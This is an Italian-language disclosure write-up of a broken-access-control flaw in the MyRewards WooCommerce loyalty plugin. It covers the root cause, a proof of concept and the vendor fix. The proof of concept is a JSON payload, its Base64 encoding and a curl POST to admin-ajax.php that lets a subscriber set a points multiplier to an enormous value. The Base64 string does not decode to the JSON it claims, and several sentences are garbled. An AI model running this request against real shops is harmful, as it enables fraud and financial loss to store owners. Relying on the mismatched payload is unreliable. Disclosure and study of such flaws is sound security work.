
Autorizzazione mancante / Controllo degli accessi non corretto nel Plugin - MyRewards – Loyalty Points and Rewards for WooCommerce
Disclaimer: Questo repository è creato solo per scopi educativi e divulgazione etica. La vulnerabilità è stata segnalata responsabilmente al fornitore e corretta. Non utilizzare queste informazioni per sfruttare sistemi senza la dovuta autorizzazione.
Una vulnerabilità critica di Broken Access Control / Privilege Escalation è stata scoperta nel plugin MyRewards (WooRewards) per WooCommerce(versioni <= 5.6.0). Questa falla consente a qualsiasi utente autenticato, anche con privilegi minimi come i Subscriber, di bypassare l'autorizzazione e modificare le sensibili regole dei premi del negozio.
Sfruttando questa vulnerabilità, un attaccante può gonfiare il moltiplicatore dei punti fedeltà a un valore astronomico (ad esempio, 999,999,999), consentendogli di accumulare punti massicci da un singolo piccolo acquisto e riscattarli in coupon o prodotti gratuiti, causando una perdita finanziaria diretta per il negozio.
<= 5.6.0La causa principale di questa vulnerabilità risiede nella mancata implementazione di Capability Checks o protezione CSRF su endpoint AJAX critici che gestiscono modifiche al database.
1. Registrazione AJAX non autorizzata:
Il plugin utilizza una classe controller generica (EditlistControler) per gestire le operazioni CRUD. In editlistcontroler.php, registra l'azione AJAX editlist utilizzando l'hook gwp_ajax_`, rendendola disponibile a TUTTI gli utenti autenticati, indipendentemente dal loro ruolo:
add_action('wp_ajax_lws_adminpanel_editlist', array($this, 'ajax'));
2. Assenza di autorizzazione e validazione nonce:
All'interno dei metodi ajax() e accept(), il codice elabora richieste che modificano lo stato (ad esempio, put per l'aggiornamento, del per l'eliminazione) basandosi esclusivamente sull'input dell'utente. Manca completamente l'invocazione di current_user_can() e check_ajax_referer(), il che significa che non esiste alcuna verifica che l'utente abbia i diritti manage_woocommerce.
3. Elaborazione pericolosa del payload:
L'endpoint accetta una stringa JSON codificata in Base64 tramite il parametro line, che viene decodificata e passata direttamente al `EventList::write()p metodo, salvando le impostazioni dannose direttamente nel database:
$data = json_decode(base64_decode($line), true);
$this->m_Source->write($data);
I seguenti passaggi dimostrano come un Subscriber autenticato può sfruttare questa falla.
subscriber.101) è sequenziale e facilmente enumerabile osservando le risposte AJAX alle richieste POST.Vogliamo aggiornare il moltiplicatore punti della Regola ID 101 a 999,999,999,999,999.
JSON iniziale
{
"post_id":"101",
"wre_type":"lws_woorewards_events_orderamount",
"lws_woorewards_events_orderamount_multiplier": "999999999999999"
}
Codifica Base64 ('valore di line')
eyJwb3N0X2lkIjoiMTAxIiwid3JlX3R5cGUiOiJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnQiLCJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnRfbWVsdGlwbGl1ciI6ICI5OTk5OTk5OTk5OTk5OTk5In0
Esegui la seguente richiesta CURL come utente con privilegi minimi:
curl -i -X POST 'http://TARGET_SITE/wp-admin/admin-ajax.php' \
-H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
-b '[Subscriber_Cookies_Here]' \
-d 'action=lws_adminpanel_editlist&method=put&id=EventList&line=eyJwb3N0X2lkIjoiMTAxIiwid3JlX3R5cGUiOiJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnQiLCJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnRfbWVsdGlwbGl1ciI6ICI5OTk5OTk5OTk5OTk5OTk5In0'
{"status":1} a conferma dell'aggiornamento.Per risolvere questo problema, aggiornare il plugin MyRewards all'ultima versione corretta. Il fornitore ha risolto il problema:
current_user_can() all'interno del controller AJAX per verificare i privilegi amministrativi.check_ajax_referer() per validare i nonce e prevenire la Cross-Site Request Forgery (CSRF).Un breve registro del processo di divulgazione per dimostrare che sono stati seguiti standard etici: